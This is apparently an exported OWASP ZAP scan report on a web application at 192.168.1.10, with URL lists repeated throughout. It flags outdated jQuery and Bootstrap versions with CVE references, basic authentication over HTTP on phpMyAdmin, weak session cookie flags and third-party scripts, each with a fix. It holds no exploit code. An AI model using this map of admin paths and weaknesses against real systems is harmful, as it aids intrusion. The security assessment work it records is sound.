Description The identified library jquery, version 1.7.2 is vulnerable.

URL http://192.168.1.10/admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence jquery-1.10.2.js

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

https://www.zaproxy.org/docs/alerts/10020/
http://192.168.1.10/admin/ADMIN/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/AS/jquery.min.js
http://192.168.1.10/admin/ADMIN/AS/js/bootstrap.min.js
http://192.168.1.10/admin/ADMIN/AS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10/admin/ADMIN/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/OOS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/bootstrap.min.js
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10/admin/assets/js/jquery.js

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.min.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10/admin/assets/js/jquery.js


Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10/assets/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/assets/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/assets/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/assets/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10/assets/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/assets/js/jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10/assets/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10/bootstrap.min.js

Method GET

http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/bootstrap.min.js
http://192.168.1.10/assets/bootstrap/js/bootstrap.js
http://192.168.1.10/assets/bootstrap/js/bootstrap.min.js
http://192.168.1.10/assets/jquery.min.js
http://192.168.1.10/assets/js/bootstrap.min.js
http://192.168.1.10/assets/js/jquery.js
http://192.168.1.10/assets/js/jquery.min.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap.min.js


Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.1

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence * Bootstrap v3.2.0

URL http://192.168.1.10/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.2.0

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

URL http://192.168.1.10/bootstrap/js/customizer.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

URL http://192.168.1.10/bootstrap/js/raw-files.min.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

URL http://192.168.1.10/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

http://192.168.1.10/bootstrap/bootstrap/js/jquery.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/js/bootstrap.js
http://192.168.1.10/bootstrap/js/bootstrap.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customizer.js
http://192.168.1.10/bootstrap/js/raw-files.min.js
http://192.168.1.10/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js


Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js

Method GET

Attack

Evidence jquery-1.10.2.js

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap.min.js
http://192.168.1.10:80//admin/ADMIN/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/jquery-1.10.2.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/bootstrap.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/jquery.min.js


URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence * jQuery JavaScript Library v1.3

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence jquery-1.7.2.min.js

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//admin/assets/js/jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10:80//assets/bootstrap.min.js

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/bootstrap.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/bootstrap.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10:80//admin/assets/js/jquery.js
http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js
http://192.168.1.10:80//assets/bootstrap.min.js


Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//assets/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//assets/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//assets/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//assets/js/bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//assets/js/jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10:80//assets/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10:80//bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80//jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80/assets//bootstrap.min.js

Method GET

http://192.168.1.10:80//assets/bootstrap/js/bootstrap.js
http://192.168.1.10:80//assets/bootstrap/js/bootstrap.min.js
http://192.168.1.10:80//assets/jquery.min.js
http://192.168.1.10:80//assets/js/bootstrap.min.js
http://192.168.1.10:80//assets/js/jquery.js
http://192.168.1.10:80//assets/js/jquery.min.js
http://192.168.1.10:80//assets/js/jquery.ui.custom.js
http://192.168.1.10:80//bootstrap.min.js
http://192.168.1.10:80//jquery.min.js
http://192.168.1.10:80/assets//bootstrap.min.js


Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80/assets//jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80/assets/js//bootstrap.min.js

Method GET

Attack

Evidence * Bootstrap v3.3.5

URL http://192.168.1.10:80/assets/js//jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10:80/assets/js//jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.3

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence /*! jQuery v1.7.2

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence /*! jQuery v1.11.1

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence /*! * jQuery UI 1.8.21

URL http://192.168.1.10:80/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence * Bootstrap v3.2.0

URL http://192.168.1.10:80/bootstrap/js/bootstrap.min.js

Method GET

Attack

http://192.168.1.10:80/assets//jquery.min.js
http://192.168.1.10:80/assets/js//bootstrap.min.js
http://192.168.1.10:80/assets/js//jquery.js
http://192.168.1.10:80/assets/js//jquery.min.js
http://192.168.1.10:80/assets/js//jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10:80/bootstrap/js/bootstrap.js
http://192.168.1.10:80/bootstrap/js/bootstrap.min.js


Evidence * Bootstrap v3.2.0

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

URL http://192.168.1.10:80/bootstrap/js/customizer.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

URL http://192.168.1.10:80/bootstrap/js/raw-files.min.js

Method GET

Attack

Evidence * Bootstrap v3.1.1

Instances 84

Solution Please upgrade to the latest version of jquery.

Reference

 https://nvd.nist.gov/vuln/detail/CVE-2012-6708
 https://github.com/jquery/jquery/issues/2432

 http://research.insecurelabs.org/jquery/test/
 http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/

 http://bugs.jquery.com/ticket/11290
 https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/

 https://nvd.nist.gov/vuln/detail/CVE-2019-11358
 https://nvd.nist.gov/vuln/detail/CVE-2015-9251

 https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

CWE Id 829

WASC Id

Plugin Id 10003

Medium Weak Authentication Method

Description HTTP basic or digest authentication has been used over an unsecured connection. The 
credentials can be read and then reused by someone with access to the network.

URL http://192.168.1.10/phpmyadmin

Method GET

Attack

Evidence WWW-Authenticate: Basic realm="xampp user"

URL http://192.168.1.10:80/phpmyadmin/

Method GET

Attack

Evidence WWW-Authenticate: Basic realm="xampp user"

Instances 2

Solution Protect the connection using HTTPS or use a stronger authentication mechanism

Reference https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

CWE Id 326

WASC Id 4

Plugin Id 10105

http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/customizer.js
http://192.168.1.10:80/bootstrap/js/raw-files.min.js
https://nvd.nist.gov/vuln/detail/CVE-2012-6708
https://github.com/jquery/jquery/issues/2432
http://research.insecurelabs.org/jquery/test/
http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/
http://bugs.jquery.com/ticket/11290
https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/
https://nvd.nist.gov/vuln/detail/CVE-2019-11358
https://nvd.nist.gov/vuln/detail/CVE-2015-9251
https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
https://cwe.mitre.org/data/definitions/829.html
https://www.zaproxy.org/docs/alerts/10003/
http://192.168.1.10/phpmyadmin
http://192.168.1.10:80/phpmyadmin/
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/326.html
https://www.zaproxy.org/docs/alerts/10105/


Low Cookie No HttpOnly Flag

Description

A cookie has been set without the HttpOnly flag, which means that the cookie can be 
accessed by JavaScript. If a malicious script can be run on this page then the cookie will be 
accessible and can be transmitted to another site. If this is a session cookie then session 
hijacking may be possible.

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence Set-Cookie: PHPSESSID

URL http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php

Method GET

Attack

Evidence Set-Cookie: PHPSESSID

Instances 2

Solution Ensure that the HttpOnly flag is set for all cookies.

Reference https://owasp.org/www-community/HttpOnly

CWE Id 1004

WASC Id 13

Plugin Id 10010

Low Cookie without SameSite Attribute

Description
A cookie has been set without the SameSite attribute, which means that the cookie can be 
sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter 
measure to cross-site request forgery, cross-site script inclusion, and timing attacks.

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence Set-Cookie: PHPSESSID

URL http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php

Method GET

Attack

Evidence Set-Cookie: PHPSESSID

Instances 2

Solution Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.

Reference https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site

CWE Id 1275

WASC Id 13

Plugin Id 10054

Low Cross-Domain JavaScript Source File Inclusion

Description The page includes one or more script files from a third-party domain.

URL http://192.168.1.10

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php
https://owasp.org/www-community/HttpOnly
https://cwe.mitre.org/data/definitions/1004.html
https://www.zaproxy.org/docs/alerts/10010/
http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php
https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
https://cwe.mitre.org/data/definitions/1275.html
https://www.zaproxy.org/docs/alerts/10054/
http://192.168.1.10


URL http://192.168.1.10

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/aboutus.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php

http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/
http://192.168.1.10/aboutus.php
http://192.168.1.10/admin/
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php


Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

http://192.168.1.10/admin/ADMIN/ADS/add_new_announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1


Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
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Method GET
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Attack
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URL http://192.168.1.10/admin/ADMIN/OOS/index.php
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URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=1
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Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Method GET
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Method GET
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URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/
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Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=6

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=7

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

